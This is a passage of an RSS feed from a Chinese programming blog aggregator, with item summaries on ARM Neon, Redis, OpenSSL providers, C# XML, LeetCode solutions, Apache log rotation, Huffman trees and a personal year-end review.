      <description>本文主要介绍ARM Neon技术，包括SIMD技术、SIMT、ARM Neon的指令、寄存器、意图为读者提供对ARM Neon的一个整体理解。&#xA;🎬个人简介：一个全栈工程师的升级之路！&#xA;📋个人专栏：高性能（HPC）开发基础教程&#xA;🎀CSDN主页 发狂的小花&#xA;🌄人生秘诀：学习的本质就是极致重复!&#xA;目录&#xA;1 并行技术的几种方式&#xA;1.2 SISD&#xA;1.3 MIMD&#xA;1.4 SIMD&#xA;1.4.1 概念和特点&#xA;1.4.2 产生的原因&#xA;1.5 MISD&#xA;1.6 SIMT&#xA;2 NEON介绍&#xA;2.1 ARM Neon 特点&#xA;2.2 ARM Neon 数据类型&#xA;2.2.1 Neon 数据类型的命名格式&#xA;2.2.2 支持的数据类型 2.3 ARM Neon 指令&#xA;2.4 Neon 寄存器&#xA;2.4.1 Neon一般的执行流程&#xA;2.4.2 Neon 寄存器&#xA;2.5 Neon数据处理指令分类&#xA;3 一般使用ARM Neon优化的几种方式&#xA;1 并行技术的几种方式 并行计算根据费林分类法，将指令流和数据流的几种不同的方式分成四种计算机类型：SISD、MISD、MIMD、SIMD。NVIDIA CUDA设计出SIMT技术区别于这四种。&#xA;1.2 SISD SISD是单指令流单数据流（Single Instruction Single Data）的缩写，是一种计算机体系结构。在SISD中，所有的指令和数据都按照一定的顺序串行执行，即每条指令只处理一个操作数，且每个操作数只在一条指令中使用。&#xA;SISD的特点是简单、直观，但效率较低。因为所有指令和数据都必须按顺序执行，所以无法充分利用现代处理器的并行计算能力。不过，由于其实现相对简单，所以在一些简单的应用场景下仍然有一定的应用价值。</description>
    </item>
    <item>
      <title>十四：爬虫-Redis基础</title>
      <link>https://bchobby.github.io/posts/7de839bec7e36e6666f60ce52773f27e/</link>
      <pubDate>Mon, 01 Jan 2024 21:50:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7de839bec7e36e6666f60ce52773f27e/</guid>
      <description>1、背景 随着互联网+大数据时代的来临，传统的关系型数据库已经不能满足中大型网站日益增长的访问量和数据量。这个时候就需要一种能够快速存取数据的组件来缓解数据库服务I/O的压力，来解决系统性能上的瓶颈。&#xA;2、redis是什么 Redis 全称 Remote Dictionary Server（即远程字典服务），它是一个基于内存实现的键值型非关系（NoSQL）数据库，是由c语言编写的。&#xA;常见的内存型数据库，除 Redis 之外，还有 Oracle Berkeley DB（甲骨文旗下的一款产品）、SQlite（轻量级内存数据库）、Memcache（键值型分布式缓存数据库）、Altibase（基于内存的高性能数据库）。&#xA;3、redis特点 与其他内存型数据库相比，Redis 具有以下特点：&#xA;Redis 不仅可以将数据完全保存在内存中，还可以通过磁盘实现数据的持久存储；Redis 支持丰富的数据类型，包括 string、list、set、zset、hash 等多种数据类型，因此它也被称为“数据结构服务器”；Redis 支持主从同步，即 master-slave 主从复制模式。数据可以从主服务器向任意数量的从服务器上同步，有效地保证数据的安全性；Redis 支持多种编程语言，包括 C、C++、Python、Java、PHP、Ruby、Lua 等语言。 4、redis优势 下面对 Redis 的优势进行了简单总结：&#xA;性能极高：Redis 基于内存实现数据存储，它的读取速度是 110000次/s，写速度是 81000次/s；多用途工具： Redis 有很多的用途，比如可以用作缓存、消息队列、搭建 Redis 集群等；命令提示功能：Redis 客户端拥有强大的命令提示功能，使用起来非常的方便，降低了学习门槛；可移植性：Redis 使用用标准 C语言 编写的，能够在大多数操作系统上运行，比如 Linux，Mac，Solaris 等。 5、Redis架构 Redis体系架构主要分为两个部分：&#xA;Redis服务端Redis客户端 客户端和服务端可以位于同一台计算机上，也可以位于不同的计算机上。服务端是整个架构的“大脑”，能够把数据存储到内存中，并且起到管理数据的作用。&#xA;6、Redis应用场景 Redis 用来缓存一些经常被访问的热点数据、或者需要耗费大量资源的内容，通过把这些内容放到 Redis 中，可以让应用程序快速地读取它们。例如，网站的首页需要经常被访问，并且在创建首页的过程中会消耗的较多的资源，此时就可以使用 Redis 将整个首页缓存起来，从而降低网站的压力，减少页面访问的延迟时间。&#xA;7、redis学习地址 1、官网地址：https://redis.io/&#xA;2、命令地址：http://doc.redisfans.com/&#xA;3、更多配置文件: https://www.cnblogs.com/kreo/p/4423362.html&#xA;8、redis与其他数据库的对比 数据库的存储方式大体可分为两大类，基于磁盘存储和基于内存存储。磁盘存储的数据库，因为磁头机械运动以及系统调用等因素导致读写效率较低。Redis 基于内存来实现数据存取，相对于磁盘来说，其读写速度要高出好几个数量级。下表将 Redis 数据库与其他常用数据库做了简单对比：&#xA;Redis 基于内存来实现数据的存储，因此其速度非常快。但是我们知道，计算机的内存是非常珍贵的资源，所以 Redis 不适合存储较大的文件或者二进制数据，否则会出现错误，Redis 适合存储较小的文本信息。理论上 Redis 的每个 key、value 的大小不超过 512 MB。总得来说，上述数据库各有优势，当我们选用数据库时，也要因地制宜，选择一款与业务场景最相符合的数据库。</description>
    </item>
    <item>
      <title>【小白专用】C#创建XML文件 更新2024.1.1</title>
      <link>https://bchobby.github.io/posts/bcd3dc33c343c60a14a35e14dc6971e8/</link>
      <pubDate>Mon, 01 Jan 2024 21:49:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bcd3dc33c343c60a14a35e14dc6971e8/</guid>
      <description>public static void CreateXml(string strPath) { string directPath = Path.Combine(strPath, &#34;AppData&#34;); string strFileName = directPath + @&#34;/EmployeesList.xml&#34;; //创建xml文档 XmlDocument xmldoc = new XmlDocument(); //加入XML声明 XmlDeclaration xmldecl = xmldoc.CreateXmlDeclaration(&#34;1.0&#34;, &#34;UTF-8&#34;, null); xmldoc.AppendChild(xmldecl); // 创建一个注释节点 XmlNode comment = xmldoc.CreateComment(&#34;这是一个注释&#34;); xmldoc.AppendChild(comment); //加入一个根元素 XmlElement employees = xmldoc.CreateElement(&#34;Employees&#34;); xmldoc.AppendChild(employees); //根元素加入一些子元素 for (int i = 1; i &amp;lt; 5; i++) { // 创建一个注释节点 XmlNode comment1 = xmldoc.CreateComment(&#34;Employee&#34; + i); employees.AppendChild(comment1); XmlElement employee = xmldoc.CreateElement(&#34;Employee&#34; + i);//创建一个子节点 employee.</description>
    </item>
    <item>
      <title>OpenSSL provider</title>
      <link>https://bchobby.github.io/posts/44a2664ebfffbca4530ad92e898f6156/</link>
      <pubDate>Mon, 01 Jan 2024 21:46:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/44a2664ebfffbca4530ad92e898f6156/</guid>
      <description>提供者 标准提供者默认提供者传统提供者FIPS 提供者基本提供者空提供者加载提供者 标准提供者 提供者是算法实现的容器。每当通过高级别 API 使用加密算法时，都会选择一个提供者。实际上是由该提供者实现执行所需的工作。OpenSSL 自带了五个提供者。在未来，我们预计第三方将分发自己的提供者，这些提供者可以动态添加到 OpenSSL 中。有关编写提供者的文档，请参阅 provider(7) 手册页。&#xA;默认提供者 默认提供者收集了所有标准内置的 OpenSSL 算法实现。如果应用程序未明确指定任何其他内容（例如在应用程序中或通过配置中），那么将使用这个提供者。如果尚未加载其他提供者，当我们首次尝试从提供者获取算法时，它将被自动加载。如果已加载其他提供者，那么它将不会被自动加载。因此，如果您想与其他提供者一起使用它，那么您必须显式加载它。&#xA;这是一个“内置”提供者，这意味着它编译和链接到 libcrypto 库中，并不存在为单独的独立模块。&#xA;传统提供者 传统提供者是一组传统算法的集合，这些算法要么已不再普遍使用，要么被认为是不安全的，并且强烈建议不要使用。然而，一些应用程序可能需要使用这些算法以实现向后兼容性。该提供者不会被默认加载。这可能意味着从之前版本的 OpenSSL 升级的一些应用程序可能会发现一些算法不再可用，除非它们显式加载传统提供者。&#xA;传统提供者中的算法包括 MD2、MD4、MDC2、RMD160、CAST5、BF（Blowfish）、IDEA、SEED、RC2、RC4、RC5 和 DES（但不包括 3DES）。&#xA;FIPS 提供者 FIPS 提供者包含了默认提供者中可用的一部分算法实现，这些算法符合 FIPS 标准。预期该提供者将通过 FIPS140-2 验证。&#xA;在某些情况下，与默认提供者中等价算法相比，该提供者中的算法实现可能存在细微的行为差异。这通常是为了符合 FIPS 标准。&#xA;基本提供者 基本提供者包含了默认提供者中可用的一小部分非加密算法。例如，它包含了用于将密钥序列化和反序列化为文件的算法。如果未加载默认提供者，则应始终加载该提供者（特别是如果您使用 FIPS 提供者）。&#xA;空提供者 空提供者“内置”到 libcrypto 中，不包含任何算法实现。为了确保默认提供者不会被自动加载，可以加载空提供者。&#xA;如果您正在使用非默认的库上下文，并希望确保默认库上下文不会被意外使用，这将会很有用。&#xA;加载提供者 要加载的提供者可以在 OpenSSL 配置文件中指定。有关如何通过配置文件配置提供者以及如何自动激活它们的信息，请参阅 config(5) 手册页。&#xA;以下是一个加载和激活默认库上下文中的传统提供者和默认提供者的最小配置文件示例。&#xA;openssl_conf = openssl_init [openssl_init] providers = provider_sect [provider_sect] default = default_sect legacy = legacy_sect [default_sect] activate = 1 [legacy_sect] activate = 1 也可以通过编程方式加载提供者。例如，您可以加载传统提供者到默认库上下文中，如下所示。请注意，一旦您显式地将提供者加载到库上下文中，默认提供者将不再自动加载。因此，通常还需要显式加载默认提供者，就像下面的示例一样：</description>
    </item>
    <item>
      <title>2023年12月第4周面试算法题总结</title>
      <link>https://bchobby.github.io/posts/730834bb3c33c2ced012ed6b28db0ad0/</link>
      <pubDate>Mon, 01 Jan 2024 21:44:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/730834bb3c33c2ced012ed6b28db0ad0/</guid>
      <description>809. 情感丰富的文字——阅读理解题 1、s = “abcd”; words = [“abc”]; 的情况怎么处理&#xA;2、怎么求lens与lenw？（连续出现的字符串长度）&#xA;class Solution { public: bool isStretchy(const string&amp;amp; s, const string&amp;amp; word) { int i = 0; int j = 0; while (i &amp;lt; s.size() &amp;amp;&amp;amp; j &amp;lt; word.size()) { if (s[i] != word[j]) { return false; } int lens = 0; int lenw = 0; while (i + lens &amp;lt; s.size() &amp;amp;&amp;amp; s[i + lens] == s[i]) { lens++; } while (j + lenw &amp;lt; word.</description>
    </item>
    <item>
      <title>深度学习｜15.2 注释、one-hot</title>
      <link>https://bchobby.github.io/posts/6e9f7dfd94fcd7ac74a1057f6e83713d/</link>
      <pubDate>Mon, 01 Jan 2024 21:44:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e9f7dfd94fcd7ac74a1057f6e83713d/</guid>
      <description>如何识别姓名 建立一个关于姓名的字典。在识别过程中，查找字典中是否存在相关的记录，若有，则大概率是姓名。注意的是，商业级需要3到5万或10万，需要查找速度也要进一步进行优化。&#xA;one-hot编码-独热编码 躺平yyds——独热编码&#xA;ont-hot编码只能统计出，哪些词项在句子中有出现过，而没有考虑出这些词项前后摆放的逻辑关系。</description>
    </item>
    <item>
      <title>软件体系架构复习二</title>
      <link>https://bchobby.github.io/posts/3f4875823da1c10f0707245e7c9ce77b/</link>
      <pubDate>Mon, 01 Jan 2024 21:42:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3f4875823da1c10f0707245e7c9ce77b/</guid>
      <description>呃，前面复习的忘了发了。从后面开始吧&#xA;Unit 11--18 复习Tips： 重点在于对概念的理解，概念间关系的理解。 对具体的识别方法，处理方法等根据自己的兴趣做一些了解即可 。 如：关于 软件架构脆弱性的成因 ， 首先要知道软件脆弱性是什么，然后知道“软件架构的脆弱 性通常与软件架构的风格和模式有关”， 至于具体不同架构模式的脆弱性表现，只要根据兴趣了解一下就可以，需要举例子时能举出来即可。 这八章均是如此要求。 一、Unit 11-12 软件架构度量和软件架构演化 1.1为什么需要进行软件架构度量？ （软件架构度量的意义/好处）&#xA;软件架构作为软件开发的早中期模型，通过对软件架构进行评估分析，能够及早的发现软件开发过程中可能遇到的问题，并提出可行的解决方案，进而提高了软件质量保障，降低了软件开发的风险。&#xA;1.2软件度量与软件演化之间的关系？ 通过对演化前后的软件进行度量，分析相关质量属性的变化情况，可以得到软件的内部架构与外在属性之间的联系，有利于进一步在总体上把握和控制软件演化的方向&#xA;1.3为什么要进行软件架构演化？ 软件架构演化的目的为了适应用户需求、开发环境、运行环境的变化。&#xA;一是在开发过程中用户的需求以及开发环境会发生变化，需要通过改变软件架构来适应用户需求的变化以及开发环境的变化；&#xA;二是在项目开发完成后，用户的需求依然可能发生改变，软件的运行环境也可能会发生变化，需要通过架构演化来适应这一系列变化。&#xA;1.4软件架构演化的类型？ 静态演化：（1）是什么、（2）必要性、（3）一般流程&#xA;（1）静态演化是指开发尚未完成过程中、或者说开发已完成但系统停止运行过程中发生的演化。&#xA;（2）在架构开发和实现过程中需要对原有架构进行调整，保证架构与需求之间的一致性&#xA;在开发完成后，由于运行环境发生变化，需要对软件进行修改升级。&#xA;（3）架构理解——演化需求分析——演化计划设计——演化计划实现——系统测试&#xA;动态演化：（1）是什么、（2）必要性、（3）内容以及技术&#xA;（1）软件运行过程中，对系统进行更新，且不停止软件功能的运行&#xA;（2）系统内部执行导 致的系统架构的变更；二是系统外部发送请求对软件进行重部署&#xA;（3）属性变更、接口变更、拓扑结构变更、架构风格变更，&#xA;技术：动态重配置（主从模式、中央控制模式、客户端-服务端模式）&#xA;二、Unit13 软件架构重构 2.1 软件架构重构是什么，为什么要进行软件架构重构 软件架构重构是指在不改变软件功能以及软件可见部分的前提下，对软件的可维护性、可拓展性等质量属性进行优化的过程。软件从架构重构是软件质量保障的重要手段、是软件架构演化的重要方式。&#xA;2.2 基于度量的软件架构重构 （1）如何通过软件架构度量获取重构需求 （2）如何通过软件架构度量进行软件重构建议（如何重构）&#xA;（3）基于度量评估的架构重构过程&#xA;架构重构一定是在通过度量明确架构缺陷之后才进行的&#xA;基于度量对软件架构进行评估——产生重构需求——分析重构需求——设计重构计划——执行重构操作&#xA;三、Unit14-15 软件架构腐蚀与软件架构恢复 3.1什么是软件架构腐蚀 是指实际开发中的软件架构与预期的软件架构之间的差别。软件架构腐蚀是由于软件修改产生的，而非人为恶意的。&#xA;解决方法（架构腐蚀前：预防腐蚀；架构腐蚀中：减轻架构腐蚀危害；架构腐蚀后：进行腐蚀修复）&#xA;3.2什么是软件架构恢复，有什么意义 软件架构恢复是逆向工程的实践和研究的方向。软件架构恢复是指根据项目工程，完成由低层向高层的抽象过程，得到系统架构中组成元素。开发人员可以根据恢复出的系统架构，对系统的代码编写、代码测试等进一步评估优化。&#xA;3.3软件架构腐蚀和软件架构恢复之间的关系 随着软件开发的进行，难免会产生文档的缺失，代码与预期的偏差越来越大（架构腐蚀的定义），进而逐步发生软件的架构腐蚀。这时候如果人工来阅读代码来恢复架构的话，无疑很是费时费力，这个时候通过逆向工程来恢复架构对预防软件腐蚀就显得很有意义&#xA;四、Unit16-18 技术债、坏味道、脆弱性 4.1 软件技术债的含义和分类 含义：&#xA;指软件开发人员为了保证项目进展，或因为时间的原因，或因为开发人员本身技术的原因，在该采用某些最优的设计方案时采取了某些妥协，以在短期内加速开发，进而加重自己未来的开发负担。&#xA;分类：&#xA;设计债务（没有采用最优架构）&#xA;代码债务（没有遵循标准代码格式等）&#xA;测试债务</description>
    </item>
    <item>
      <title>数据结构模拟实现LinkedList双向不循环链表</title>
      <link>https://bchobby.github.io/posts/6a4926b2e4853c4192f55cddad5a77eb/</link>
      <pubDate>Mon, 01 Jan 2024 21:41:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6a4926b2e4853c4192f55cddad5a77eb/</guid>
      <description>目录&#xA;一、双向不循环链表的概念&#xA;二、链表的接口&#xA;三、链表的方法实现&#xA;（1）display方法&#xA;（2）size方法&#xA;（3）contains方法&#xA;（4）addFirst方法&#xA;（5）addLast方法&#xA;（6）addIndex方法&#xA;（7）remove方法&#xA;（8）removeAllKey方法&#xA;（9）clear方法&#xA;四、最终代码&#xA;一、双向不循环链表的概念 双向不循环链表中的节点有三个域，一个是存储数据的val域，一个是前驱prev域，还有一个是下个节点next域，和单向不同的就是多了一个前驱域。如图：&#xA;定义一个MyLinkedList类，这个类包含要模拟实现的方法，还有一个内部类ListNode，这个内部类就是链表的节点，代码如下：&#xA;public class MyLinkedList implements Ilist{ public ListNode head;//头结点 public ListNode last;//尾结点 static class ListNode { int val; ListNode next; ListNode prev; public ListNode(int val) { this.val = val; } } } 二、链表的接口 代码如下：&#xA;public interface Ilist { //头插法 void addFirst(int data); //尾插法 void addLast(int data); //任意位置插入,第一个数据节点为0号下标 void addIndex(int index,int data); //查找是否包含关键字key是否在单链表当中 boolean contains(int key); //删除第一次出现关键字为key的节点 void remove(int key); //删除所有值为key的节点 void removeAllKey(int key); //得到单链表的长度 int size(); void clear(); void display(); } 三、链表的方法实现 （1）display方法 此方法是打印所有链表节点的val值，因此要遍历一遍链表的节点。代码如下：</description>
    </item>
    <item>
      <title>【BIG_FG_CSDN】C&#43;&#43; 数组与指针 （个人向——学习笔记）</title>
      <link>https://bchobby.github.io/posts/2c50aa97e4ac5a47d71c5b3d173e324d/</link>
      <pubDate>Mon, 01 Jan 2024 21:36:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2c50aa97e4ac5a47d71c5b3d173e324d/</guid>
      <description>一维数组 在内存占用连续存储单元的相同类型数据序列的存储。&#xA;数组是静态存储器的块；在编译时确定大小后才能使用；&#xA;其声明格式如下：&#xA;元素类型 数组名[常量]； 元素类型：数组中元素的数据类型；&#xA;常量：数组的长度，即数组中存放数据的最大个数；可以是数，也可以是自己的常量；&#xA;如：&#xA;const int MaxSize=100; int a[MaxSize]; 数组定义后，编译系统为其分配地址连续的一段内存空间.&#xA;数组名即是所分配内存的首地址，也称为数组的首地址；&#xA;数组声明时为其初始化赋值 格式为： 元素类型 数组名[常量]={初值 1,初值 2,...,初值 n};&#xA;初始化时，元素的个数应该小于等于数组的长度；&#xA;例如：&#xA;int a[10]={1,2,3}; //定义数组长度为 10，前 3 个元素初始化为 1,2,3，其它元素为 0； int a[]={1,2,3}; //定义数组，长度省略，则长度等于初始化数据的实际个数 3。 int a[100]={0}; //数组中的值全部为0，只有{0}可以全部初始化；在做true与false时非常有用； 使用数组 数组元素通过下标来访问，每个元素均可视为一个变量来使用，&#xA;元素的访问方式为： 数组名[下标]；&#xA;下标值的有效范围是 0~数组长度-1；如果越界了，编译器是可以正常运行的，但是会出错；&#xA;除字符数组外，其它类型的数组不允许整体访问，也就是数组的输入输出需要对各个元素进行，也就是 数组名[下标] 这种方式使用；&#xA;访问数组元素的地址格式为： &amp;amp;数组名[下标]或数组名+下标&#xA;数组的内存形象展示 例如：&#xA;int a[10];&#xA;声明了一个长度为 10 的 int 型一维数组，&#xA;系统需要为 a 分配连续的 40B 的内存空间，&#xA;元素的访问方式为 a[i]，&#xA;地址访问方式为&amp;amp;a[i]或 a+i，i 值的有效范围是 0~9。</description>
    </item>
    <item>
      <title>租房数据分析可视化大屏&#43;58同城 Django框架 大数据毕业设计（附源码）✅</title>
      <link>https://bchobby.github.io/posts/5d0a9e2c3f4e7c15c6bcc79aa068ee58/</link>
      <pubDate>Mon, 01 Jan 2024 21:30:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5d0a9e2c3f4e7c15c6bcc79aa068ee58/</guid>
      <description>毕业设计：2023-2024年计算机专业毕业设计选题汇总（建议收藏）&#xA;毕业设计：2023-2024年最新最全计算机专业毕设选题推荐汇总&#xA;🍅感兴趣的可以先收藏起来，点赞、关注不迷路，大家在毕设选题，项目以及论文编写等相关问题都可以给我留言咨询，希望帮助同学们顺利毕业 。🍅&#xA;1、项目介绍 技术栈：&#xA;python租房数据分析可视化系统 毕业设计 58同城&#xA;python语言、MySQL数据库、Django框架、Echarts可视化&#xA;租房数据分析可视化系统是一个基于python语言、MySQL数据库、Django框架和Echarts可视化技术开发的系统。该系统旨在帮助用户通过对租房数据进行分析和可视化展示，提供更直观、全面的租房市场信息，以便用户做出更明智的租房决策。&#xA;2、项目界面 （1）租房数据可视化大屏&#xA;（2）租房数据管理&#xA;（3）系统首页&#xA;（4）租房数据条件查询&#xA;（5）评论功能&#xA;（6）租房数据&#xA;3、项目说明 租房数据分析可视化系统是一个基于python语言、MySQL数据库、Django框架和Echarts可视化技术开发的系统。该系统旨在帮助用户通过对租房数据进行分析和可视化展示，提供更直观、全面的租房市场信息，以便用户做出更明智的租房决策。&#xA;系统主要包括以下功能：&#xA;数据采集与存储：系统通过爬虫技术从58同城等租房网站上采集租房相关数据，并将其存储到MySQL数据库中，包括房源信息、租金、房屋面积、地理位置等各项数据。&#xA;数据清洗与处理：对采集到的数据进行清洗和处理，包括去除重复数据、处理缺失值、格式化数据等，以确保数据的准确性和一致性。&#xA;数据分析与统计：通过对租房数据进行统计和分析，提取出各种有价值的信息，包括不同城市的租金分布、租房面积分布、租房热门区域等，为用户提供全面的租房市场概况。&#xA;可视化展示：利用Echarts可视化技术，将分析结果以图表的形式展示给用户，包括柱状图、饼图、地图等，使用户更直观地了解租房市场的情况。&#xA;用户管理与权限控制：系统提供用户管理功能，包括用户注册、登录、密码找回等，同时还可以根据用户的身份和权限，控制其对系统功能的访问和使用。&#xA;通过租房数据分析可视化系统，用户可以快速了解租房市场的情况，包括租金水平、热门区域、房屋面积分布等，从而更好地选择合适的租房房源。同时，系统还可以为租房从业人员、房产中介等提供市场调研和决策支持。&#xA;4、核心代码 # -*- coding: utf-8 -*- import random import time from urllib import parse from datetime import date, datetime from django.shortcuts import redirect from ..common.helper import * from ..common.vercode import * from simple_mysql import db as mysql import base64 # 处理时间对象序列化问题 class DateEncoder(json.</description>
    </item>
    <item>
      <title>Linux：apache优化（7）—— 日志分割|日志合并</title>
      <link>https://bchobby.github.io/posts/1930156daaacdefbdd3678098d3d6f50/</link>
      <pubDate>Mon, 01 Jan 2024 21:13:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1930156daaacdefbdd3678098d3d6f50/</guid>
      <description>作用：随着网站访问量的增加，访问日志中的信息会越来越多， Apache 默认访问日志access_log单个文件会越来越大，日志文件体积越大，信息都在一个文件中，查看及分析信息会及不方便。&#xA;分割 实现方式： 1.利用 apache 自带的日志轮循程序 rotatelogs&#xA;ErrorLog &#34;|rotatelogs 命令的绝对路径 -l logs/error_%Y%m%d_%H%M%S.log 秒数&#34; CustomLog &#34;| rotatelogs 命令的绝对路径-l logs/access_%Y%m%d_%H%M%S.log 秒数&#34; Combined 2.利用一个发展已经比较成熟的日志轮循工具 cronolog&#xA;ErrorLog &#34;|cronolog 绝对路径 -l /usr/local/httpd/logs/error_%Y%m%d%H%M%S.log &#34; CustomLog &#34;|cronnolog绝对路径 -l /usr/local/httpd/logs/access_%Y%m%d%H%M%S.log&#34; combined 3.利用定时任务和 shell 脚本做日志切割&#xA;方式一： 利用 apache 自带的日志轮循程序 rotatelogs日志分割：&#xA;[root@linuxa ~]# vi /usr/local/httpd/conf/httpd.conf ##10秒切割一次日志文件(切割日志时间频率可以自行改变，根据PV来决定，)，-l选项是小写的L表示local time（本地时间）&#xA;215行插入 CustomLog &#34;|/usr/local/httpd/bin/rotatelogs -l /usr/local/httpd/logs/access_%Y%m%d%H%M%S.log 10&#34; combined :wq 方式二：利用一个发展已经比较成熟的日志轮循工具 cronolog&#xA;[root@linuxa ~]# tar xf cronolog-1.6.2.tar.gz -C /usr/src/ [root@linuxa ~]# cd /usr/src/cronolog-1.</description>
    </item>
    <item>
      <title>哈夫曼树到最佳归并树python实现</title>
      <link>https://bchobby.github.io/posts/bf3467267413380c64e14796e7e4326e/</link>
      <pubDate>Mon, 01 Jan 2024 21:10:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bf3467267413380c64e14796e7e4326e/</guid>
      <description>文章目录 Huffman树Huffman树的实现最佳归并树 Huffman树 哈夫曼树通常应用在编码方面，主要为了解决权重或者说频次上的最佳问题。一般来说一个好的编码方案会大大提升通信的效率，降低延迟！如果把编码中出现的频次当作权重，则越是频繁出现的通信语句应当是短小的，而不常用的语句应当是较为长的，这样才能保证我们通信中用的较多的语句占用不大的带宽。&#xA;其步骤如下：&#xA;给定n个权值w1,w2,w3…将每个权值分别作为一个二叉树的根节点，构成森林F，按照权重排序从F中选两个权重最小的节点，作为一个新节点的左右孩子节点，并且当前权重赋值为两个子节点权重之和删除选中的两个子节点，并将第三步生成的新节点加入F中对应的位置。重复上一步和当前一步直到F中仅剩一棵树即可。 以四个权重7，5，2，4为例：&#xA;上图来自王道数据结构。&#xA;Huffman树的实现 class TreeNode: def __init__(self, val=0, left=None, right=None): self.val = val self.left = left self.right = right def huffman(weight): tree_list = [TreeNode(val=i) for i in sorted(weight, reverse=True)] while len(tree_list) &amp;gt; 1: left, right = tree_list.pop(), tree_list.pop() new_node = TreeNode(left.val + right.val, left, right) for i in range(len(tree_list) - 1, -1, -1): if new_node.val &amp;lt; tree_list[i].val: break tree_list.insert(i+1, new_node) return tree_list[0] if __name__ == &#39;__main__&#39;: weight = [5, 2, 4, 7] ans = huffman(weight) 最佳归并树 我们都知道正常的哈夫曼树只有度为0的节点和度为2的节点，同理最佳归并树也是这样，假设有一个k叉的归并树，那么这棵树应该只有度为0和度为k的节点，总结点数为 k n k + 0 n 0 + 1 = n k + n 0 kn_k+0n_0+1=n_k+n_0 knk​+0n0​+1=nk​+n0​可以得出 n 0 = ( k − 1 ) n k + 1 , n k = ( n 0 − 1 ) / ( k − 1 ) n_0=(k-1)n_k+1,n_k=(n_0-1)/(k-1) n0​=(k−1)nk​+1,nk​=(n0​−1)/(k−1)如果整除则可以说明给定的权重个数正好可以构成归并树，否则说明有 ( n 0 − 1 ) % ( k − 1 ) 个 n 0 (n_0-1)\%(k-1)个n_0 (n0​−1)%(k−1)个n0​节点是多余的，此时应当使用一个 n 0 n_0 n0​节点充当 n k n_k nk​节点，然后再补充 k − 1 − ( n 0 − 1 ) % ( k − 1 ) k-1-(n_0-1)\%(k-1) k−1−(n0​−1)%(k−1)个 n 0 n_0 n0​节点，并将新补充的节点权重置为0即可。</description>
    </item>
    <item>
      <title>力扣题目学习笔记(OC &#43; Swift)27.移除元素</title>
      <link>https://bchobby.github.io/posts/bc49c36cd397443c48839e190a4bb31c/</link>
      <pubDate>Mon, 01 Jan 2024 21:05:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bc49c36cd397443c48839e190a4bb31c/</guid>
      <description>移除元素 给你一个数组 nums 和一个值 val，你需要 原地 移除所有数值等于 val 的元素，并返回移除后数组的新长度。&#xA;不要使用额外的数组空间，你必须仅使用 O(1) 额外空间并 原地 修改输入数组。&#xA;元素的顺序可以改变。你不需要考虑数组中超出新长度后面的元素。&#xA;方法一、双指针 注意到上述描述中存在“元素的顺序可以改变”，数组无序，目的是去重，那么我们使用双指针来遍历及操作。&#xA;定义双指针left和right，left从0开始向右侧遍历，right从最后一位开始向左侧遍历，最坏情况下只遍历一次数组，效率较高。&#xA;当left值等于val时，将right位置的值赋值给left，right减1向左侧移动一位，下次若还相同，则继续将right位置的值赋值给left，right减1向左侧移动一位，直至left位置的值不等于val，将left加1，右移一位。代码如下：&#xA;Swift func removeElement(_ nums: inout [Int], _ val: Int) -&amp;gt; Int { guard nums.count &amp;gt; 0 else {return 0} let cnt = nums.count var left = 0, right = cnt while left&amp;lt;right { if nums[left] == val { nums[left] = nums[right-1] right -= 1 }else { left += 1 } } return left } OC - (NSInteger) removeElement:(NSMutableArray *)nums val:(NSInteger)val { if (nums.</description>
    </item>
    <item>
      <title>2023结婚成家，2024借势起飞</title>
      <link>https://bchobby.github.io/posts/41ae24d36376da62ecdf652680c3b4ee/</link>
      <pubDate>Mon, 01 Jan 2024 20:58:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/41ae24d36376da62ecdf652680c3b4ee/</guid>
      <description>您好，我是码农飞哥（wei158556），感谢您阅读本文，欢迎一键三连哦。&#xA;💪🏻 1. Python基础专栏，基础知识一网打尽，9.9元买不了吃亏，买不了上当。 Python从入门到精通&#xA;😁 2. 毕业设计专栏，毕业季咱们不慌忙，几百款毕业设计等你选。&#xA;❤️ 3. Python爬虫专栏，系统性的学习爬虫的知识点。9.9元买不了吃亏，买不了上当 。python爬虫入门进阶&#xA;❤️ 4. Ceph实战，从原理到实战应有尽有。 Ceph实战&#xA;❤️ 5. Java高并发编程入门，打卡学习Java高并发。 Java高并发编程入门&#xA;文章目录 1. 说在前面2. 回望2023年2.1. 2023年立的Flag完成否？2.1.1.未完成第一个Flag2.1.2. 未完成第二个Flag2.1.3. 未完成第三个Flag2.1.4. 顺利完成第四个Flag 2.2. 说说2023年做了哪些事2.2.1. 顺利步入婚礼殿堂（2023年最大的一件事）2.2.2. 开辟了一个新的副业之道2.2.3. 知识付费的一年 3. 展望2024年3.1. 工作上3.2. 个人IP&amp;amp;副业上3.2.1. 执行路径 3.3. 读书&amp;amp;锻炼上 4. 感谢 2023 年的那些人 1. 说在前面 2023年1月1日 14:02分，2023年已经走进了历史中。新年第一天从年终总结开始，这里先附上2022年的年终总结： 很二2022，滚蛋吧！ 幸福2023，过来吧！。&#xA;如果用两个词来形容我的2023的话，那一定是 紧张 以及幸福。 这里的紧张有初去丈母娘家时的紧张；有婚礼发言时的紧张。这里的幸福有领证时的幸福；有结婚时的幸福。&#xA;2. 回望2023年 2.1. 2023年立的Flag完成否？ 回顾2023年的任务之前，首先，来看下2022年立下的那些Flag。2022年我共计立下共计列下来4个Flag。首先，检视一下这些Flag。&#xA;2.1.1.未完成第一个Flag 第一个Flag：更加专注于主业 这一块整体来说还是没有完成好，主要从两方面说明：&#xA;工作环境上：部门内部发生了一些人事变动，我被动地受到了一些影响。不过，好在新领导对我还比较赏识，暂时平稳度过危机。 但是，世事难料，未来的事情谁说的好呢。&#xA;学习上：2023年只系统地学习了RocketMQ的知识点，有关于技术预研，架构演进，性能优化的知识点还是没有深入去了解。&#xA;2023年听到最多的消息就是裁员的消息。 